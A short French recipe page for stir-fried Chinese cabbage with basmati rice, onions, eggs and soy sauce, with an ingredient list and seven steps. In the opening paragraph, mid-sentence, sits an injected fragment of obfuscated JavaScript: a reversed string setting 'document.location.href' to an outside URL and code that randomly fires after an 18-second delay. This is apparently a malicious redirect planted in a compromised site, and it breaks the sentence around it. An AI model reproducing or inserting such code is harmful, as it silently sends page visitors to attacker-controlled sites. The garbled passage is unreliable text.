Chou Chinois

2021-05-31

Pelez, émincez les oignons. Battez les œufs en omelette avec une pincée de sel fin. Lavez, séchez, émincez le chou Chinois.

Faites chauffer le wok avec 2 cuillères à soupe d’huile d’arachide, sur feu vif, ajoutez les oignons tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant avec une spatule en bois.

Ingrédients

  • Pour 4 personnes
  • 1 chou chinois
  • 250 g de riz basmati cuit
  • 250 g d'oignons
  • 4 œufs entiers
  • 2 cuillères à soupe d'huile d'arachide
  • Quelques gouttes de sauce de soja
  • Sel / poivre du moulin

Préparation de la recette

Etape 1

Pelez, émincez les oignons.

Etape 2

Battez les œufs en omelette avec une pincée de sel fin.

Etape 3

Lavez, séchez, émincez le chou Chinois.

Etape 4

Faites chauffer le wok avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, ajoutez les oignons tout en remuant avec une spatule en bois.

Etape 5

Incorporez le chou Chinois, les œufs, le riz cuit, quelques gouttes de sauce de soja.

Etape 6

Faites mijoter pendant 30 minutes.

Etape 7

Vérifiez la cuisson, et déguster

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